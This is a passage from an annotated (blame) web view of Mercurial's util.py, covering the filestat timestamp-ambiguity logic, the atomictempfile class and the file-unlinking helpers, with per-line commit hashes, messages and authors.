2351 def fromfp(cls, fp): |
1b25c648d5b7
fsmonitor: don't write out state if identity has changed (issue5581)
Siddharth Agarwal <sid0@fb.com>
parents:
32772
diff
changeset
|
2352 stat = os.fstat(fp.fileno()) |
1b25c648d5b7
fsmonitor: don't write out state if identity has changed (issue5581)
Siddharth Agarwal <sid0@fb.com>
parents:
32772
diff
changeset
|
2353 return cls(stat) |
1b25c648d5b7
fsmonitor: don't write out state if identity has changed (issue5581)
Siddharth Agarwal <sid0@fb.com>
parents:
32772
diff
changeset
|
2354 |
29200
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2355 __hash__ = object.__hash__ |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2356 |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2357 def __eq__(self, old): |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2358 try: |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2359 # if ambiguity between stat of new and old file is |
30332
318a24b52eeb
spelling: fixes of non-dictionary words
Mads Kiilerich <madski@unity3d.com>
parents:
30329
diff
changeset
|
2360 # avoided, comparison of size, ctime and mtime is enough |
29200
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2361 # to exactly detect change of a file regardless of platform |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2362 return ( |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2363 self.stat.st_size == old.stat.st_size |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2364 and self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME] |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2365 and self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME] |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2366 ) |
29200
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2367 except AttributeError: |
32749
b5524fd9a4e3
util: make filestat.__eq__ return True if both of self and old have None stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
32746
diff
changeset
|
2368 pass |
b5524fd9a4e3
util: make filestat.__eq__ return True if both of self and old have None stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
32746
diff
changeset
|
2369 try: |
b5524fd9a4e3
util: make filestat.__eq__ return True if both of self and old have None stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
32746
diff
changeset
|
2370 return self.stat is None and old.stat is None |
b5524fd9a4e3
util: make filestat.__eq__ return True if both of self and old have None stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
32746
diff
changeset
|
2371 except AttributeError: |
29200
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2372 return False |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2373 |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2374 def isambig(self, old): |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2375 """Examine whether new (= self) stat is ambiguous against old one |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2376 |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2377 "S[N]" below means stat of a file at N-th change: |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2378 |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2379 - S[n-1].ctime < S[n].ctime: can detect change of a file |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2380 - S[n-1].ctime == S[n].ctime |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2381 - S[n-1].ctime < S[n].mtime: means natural advancing (*1) |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2382 - S[n-1].ctime == S[n].mtime: is ambiguous (*2) |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2383 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care) |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2384 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care) |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2385 |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2386 Case (*2) above means that a file was changed twice or more at |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2387 same time in sec (= S[n-1].ctime), and comparison of timestamp |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2388 is ambiguous. |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2389 |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2390 Base idea to avoid such ambiguity is "advance mtime 1 sec, if |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2391 timestamp is ambiguous". |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2392 |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2393 But advancing mtime only in case (*2) doesn't work as |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2394 expected, because naturally advanced S[n].mtime in case (*1) |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2395 might be equal to manually advanced S[n-1 or earlier].mtime. |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2396 |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2397 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2398 treated as ambiguous regardless of mtime, to avoid overlooking |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2399 by confliction between such mtime. |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2400 |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2401 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime != |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2402 S[n].mtime", even if size of a file isn't changed. |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2403 """ |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2404 try: |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2405 return self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME] |
29200
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2406 except AttributeError: |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2407 return False |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2408 |
30319
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
2409 def avoidambig(self, path, old): |
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
2410 """Change file stat of specified path to avoid ambiguity |
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
2411 |
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
2412 'old' should be previous filestat of 'path'. |
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
2413 |
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
2414 This skips avoiding ambiguity, if a process doesn't have |
32746
77f354ae1123
util: make filestat.avoidambig() return whether ambiguity is avoided or not
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
32652
diff
changeset
|
2415 appropriate privileges for 'path'. This returns False in this |
77f354ae1123
util: make filestat.avoidambig() return whether ambiguity is avoided or not
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
32652
diff
changeset
|
2416 case. |
77f354ae1123
util: make filestat.avoidambig() return whether ambiguity is avoided or not
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
32652
diff
changeset
|
2417 |
77f354ae1123
util: make filestat.avoidambig() return whether ambiguity is avoided or not
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
32652
diff
changeset
|
2418 Otherwise, this returns True, as "ambiguity is avoided". |
30319
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
2419 """ |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2420 advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF |
30319
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
2421 try: |
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
2422 os.utime(path, (advanced, advanced)) |
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
2423 except OSError as inst: |
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
2424 if inst.errno == errno.EPERM: |
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
2425 # utime() on the file created by another user causes EPERM, |
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
2426 # if a process doesn't have appropriate privileges |
32746
77f354ae1123
util: make filestat.avoidambig() return whether ambiguity is avoided or not
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
32652
diff
changeset
|
2427 return False |
30319
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
2428 raise |
32746
77f354ae1123
util: make filestat.avoidambig() return whether ambiguity is avoided or not
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
32652
diff
changeset
|
2429 return True |
30319
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
2430 |
29298
82f6193ff2bc
util: add __ne__ to filestat class for consistency
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29261
diff
changeset
|
2431 def __ne__(self, other): |
82f6193ff2bc
util: add __ne__ to filestat class for consistency
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29261
diff
changeset
|
2432 return not self == other |
82f6193ff2bc
util: add __ne__ to filestat class for consistency
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29261
diff
changeset
|
2433 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2434 |
8778
c5f36402daad
use new style classes
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
8631
diff
changeset
|
2435 class atomictempfile(object): |
17424
e7cfe3587ea4
fix trivial spelling errors
Mads Kiilerich <mads@kiilerich.com>
parents:
17391
diff
changeset
|
2436 '''writable file object that atomically updates a file |
4827
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2437 |
14008
da65edcac72a
atomictempfile: rewrite docstring to clarify rename() vs. close().
Greg Ward <greg@gerg.ca>
parents:
14007
diff
changeset
|
2438 All writes will go to a temporary copy of the original file. Call |
15057
774da7121fc9
atomictempfile: make close() consistent with other file-like objects.
Greg Ward <greg@gerg.ca>
parents:
15050
diff
changeset
|
2439 close() when you are done writing, and atomictempfile will rename |
774da7121fc9
atomictempfile: make close() consistent with other file-like objects.
Greg Ward <greg@gerg.ca>
parents:
15050
diff
changeset
|
2440 the temporary copy to the original name, making the changes |
774da7121fc9
atomictempfile: make close() consistent with other file-like objects.
Greg Ward <greg@gerg.ca>
parents:
15050
diff
changeset
|
2441 visible. If the object is destroyed without being closed, all your |
774da7121fc9
atomictempfile: make close() consistent with other file-like objects.
Greg Ward <greg@gerg.ca>
parents:
15050
diff
changeset
|
2442 writes are discarded. |
29367
4e6e280e238f
doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29342
diff
changeset
|
2443 |
4e6e280e238f
doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29342
diff
changeset
|
2444 checkambig argument of constructor is used with filestat, and is |
4e6e280e238f
doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29342
diff
changeset
|
2445 useful only if target file is guarded by any lock (e.g. repo.lock |
4e6e280e238f
doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29342
diff
changeset
|
2446 or repo.wlock). |
14008
da65edcac72a
atomictempfile: rewrite docstring to clarify rename() vs. close().
Greg Ward <greg@gerg.ca>
parents:
14007
diff
changeset
|
2447 ''' |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2448 |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2449 def __init__(self, name, mode=b'w+b', createmode=None, checkambig=False): |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2450 self.__name = name # permanent name |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2451 self._tempname = mktempcopy( |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2452 name, |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2453 emptyok=(b'w' in mode), |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2454 createmode=createmode, |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2455 enforcewritable=(b'w' in mode), |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2456 ) |
41289
593f6359681d
update: fix edge-case with update.atomic-file and read-only files
Boris Feld <boris.feld@octobus.net>
parents:
40880
diff
changeset
|
2457 |
14007
d764463b433e
atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents:
14004
diff
changeset
|
2458 self._fp = posixfile(self._tempname, mode) |
29201
a109bf7e0dc2
util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29200
diff
changeset
|
2459 self._checkambig = checkambig |
8327
aa25be1c2889
atomictempfile: delegate to posixfile instead of inheriting from it
Bryan O'Sullivan <bos@serpentine.com>
parents:
8312
diff
changeset
|
2460 |
14007
d764463b433e
atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents:
14004
diff
changeset
|
2461 # delegated methods |
29393
50269a4dce61
atomictempfile: add read to the supported file operations
Martijn Pieters <mjpieters@fb.com>
parents:
29367
diff
changeset
|
2462 self.read = self._fp.read |
14007
d764463b433e
atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents:
14004
diff
changeset
|
2463 self.write = self._fp.write |
17237
e73128535105
util: delegate seek and tell methods of atomictempfile
Bryan O'Sullivan <bryano@fb.com>
parents:
17203
diff
changeset
|
2464 self.seek = self._fp.seek |
e73128535105
util: delegate seek and tell methods of atomictempfile
Bryan O'Sullivan <bryano@fb.com>
parents:
17203
diff
changeset
|
2465 self.tell = self._fp.tell |
14007
d764463b433e
atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents:
14004
diff
changeset
|
2466 self.fileno = self._fp.fileno |
4827
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2467 |
15057
774da7121fc9
atomictempfile: make close() consistent with other file-like objects.
Greg Ward <greg@gerg.ca>
parents:
15050
diff
changeset
|
2468 def close(self): |
8785
7a9151bc5b37
atomictempfile: fix exception in __del__ if mktempcopy fails (self._fp is None)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
8778
diff
changeset
|
2469 if not self._fp.closed: |
8327
aa25be1c2889
atomictempfile: delegate to posixfile instead of inheriting from it
Bryan O'Sullivan <bos@serpentine.com>
parents:
8312
diff
changeset
|
2470 self._fp.close() |
29201
a109bf7e0dc2
util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29200
diff
changeset
|
2471 filename = localpath(self.__name) |
32772
7ad95626f6a7
filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents:
32749
diff
changeset
|
2472 oldstat = self._checkambig and filestat.frompath(filename) |
29201
a109bf7e0dc2
util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29200
diff
changeset
|
2473 if oldstat and oldstat.stat: |
a109bf7e0dc2
util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29200
diff
changeset
|
2474 rename(self._tempname, filename) |
32772
7ad95626f6a7
filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents:
32749
diff
changeset
|
2475 newstat = filestat.frompath(filename) |
29201
a109bf7e0dc2
util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29200
diff
changeset
|
2476 if newstat.isambig(oldstat): |
a109bf7e0dc2
util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29200
diff
changeset
|
2477 # stat of changed file is ambiguous to original one |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2478 advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF |
29201
a109bf7e0dc2
util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29200
diff
changeset
|
2479 os.utime(filename, (advanced, advanced)) |
a109bf7e0dc2
util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29200
diff
changeset
|
2480 else: |
a109bf7e0dc2
util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29200
diff
changeset
|
2481 rename(self._tempname, filename) |
4827
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2482 |
15057
774da7121fc9
atomictempfile: make close() consistent with other file-like objects.
Greg Ward <greg@gerg.ca>
parents:
15050
diff
changeset
|
2483 def discard(self): |
8785
7a9151bc5b37
atomictempfile: fix exception in __del__ if mktempcopy fails (self._fp is None)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
8778
diff
changeset
|
2484 if not self._fp.closed: |
4827
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2485 try: |
14007
d764463b433e
atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents:
14004
diff
changeset
|
2486 os.unlink(self._tempname) |
d764463b433e
atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents:
14004
diff
changeset
|
2487 except OSError: |
d764463b433e
atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents:
14004
diff
changeset
|
2488 pass |
8327
aa25be1c2889
atomictempfile: delegate to posixfile instead of inheriting from it
Bryan O'Sullivan <bos@serpentine.com>
parents:
8312
diff
changeset
|
2489 self._fp.close() |
4827
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2490 |
13098
f7d6750dcd01
util: make atomicfiles closable
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
13072
diff
changeset
|
2491 def __del__(self): |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2492 if safehasattr(self, '_fp'): # constructor actually did something |
15057
774da7121fc9
atomictempfile: make close() consistent with other file-like objects.
Greg Ward <greg@gerg.ca>
parents:
15050
diff
changeset
|
2493 self.discard() |
13098
f7d6750dcd01
util: make atomicfiles closable
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
13072
diff
changeset
|
2494 |
29394
6d96658a22b0
atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents:
29393
diff
changeset
|
2495 def __enter__(self): |
6d96658a22b0
atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents:
29393
diff
changeset
|
2496 return self |
6d96658a22b0
atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents:
29393
diff
changeset
|
2497 |
6d96658a22b0
atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents:
29393
diff
changeset
|
2498 def __exit__(self, exctype, excvalue, traceback): |
6d96658a22b0
atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents:
29393
diff
changeset
|
2499 if exctype is not None: |
6d96658a22b0
atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents:
29393
diff
changeset
|
2500 self.discard() |
6d96658a22b0
atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents:
29393
diff
changeset
|
2501 else: |
6d96658a22b0
atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents:
29393
diff
changeset
|
2502 self.close() |
6d96658a22b0
atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents:
29393
diff
changeset
|
2503 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2504 |
38493
da2a7d8354b2
unlinkpath: make empty directory removal optional (issue5901) (issue5826)
Kyle Lippincott <spectral@google.com>
parents:
38380
diff
changeset
|
2505 def unlinkpath(f, ignoremissing=False, rmdir=True): |
31539 | 2506 """unlink and remove the directory if it is empty""" |
31541
bd9daafbf87c
util: use tryunlink in unlinkpath
Ryan McElroy <rmcelroy@fb.com>
parents:
31540
diff
changeset
|
2507 if ignoremissing: |
bd9daafbf87c
util: use tryunlink in unlinkpath
Ryan McElroy <rmcelroy@fb.com>
parents:
31540
diff
changeset
|
2508 tryunlink(f) |
bd9daafbf87c
util: use tryunlink in unlinkpath
Ryan McElroy <rmcelroy@fb.com>
parents:
31540
diff
changeset
|
2509 else: |
31539 | 2510 unlink(f) |
38493
da2a7d8354b2
unlinkpath: make empty directory removal optional (issue5901) (issue5826)
Kyle Lippincott <spectral@google.com>
parents:
38380
diff
changeset
|
2511 if rmdir: |
da2a7d8354b2
unlinkpath: make empty directory removal optional (issue5901) (issue5826)
Kyle Lippincott <spectral@google.com>
parents:
38380
diff
changeset
|
2512 # try removing directories that might now be empty |
da2a7d8354b2
unlinkpath: make empty directory removal optional (issue5901) (issue5826)
Kyle Lippincott <spectral@google.com>
parents:
38380
diff
changeset
|
2513 try: |
da2a7d8354b2
unlinkpath: make empty directory removal optional (issue5901) (issue5826)
Kyle Lippincott <spectral@google.com>
parents:
38380
diff
changeset
|
2514 removedirs(os.path.dirname(f)) |
da2a7d8354b2
unlinkpath: make empty directory removal optional (issue5901) (issue5826)
Kyle Lippincott <spectral@google.com>
parents:
38380
diff
changeset
|
2515 except OSError: |
da2a7d8354b2
unlinkpath: make empty directory removal optional (issue5901) (issue5826)
Kyle Lippincott <spectral@google.com>
parents:
38380
diff
changeset
|
2516 pass |
31539 | 2517 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2518 |
31540
6d5b77abf306
util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents:
31539
diff
changeset
|
2519 def tryunlink(f): |
6d5b77abf306
util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents:
31539
diff
changeset
|
2520 """Attempt to remove a file, ignoring ENOENT errors.""" |
6d5b77abf306
util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents:
31539
diff
changeset
|
2521 try: |
6d5b77abf306
util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents:
31539
diff
changeset
|
2522 unlink(f) |
6d5b77abf306
util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents:
31539
diff
changeset
|
2523 except OSError as e: |
6d5b77abf306
util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents:
31539
diff
changeset
|
2524 if e.errno != errno.ENOENT: |
6d5b77abf306
util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents:
31539
diff
changeset
|
2525 raise |
6d5b77abf306
util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents:
31539
diff
changeset
|
2526 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2527 |
18938
e22107cff6bf
util: add notindexed optional parameter to makedirs function
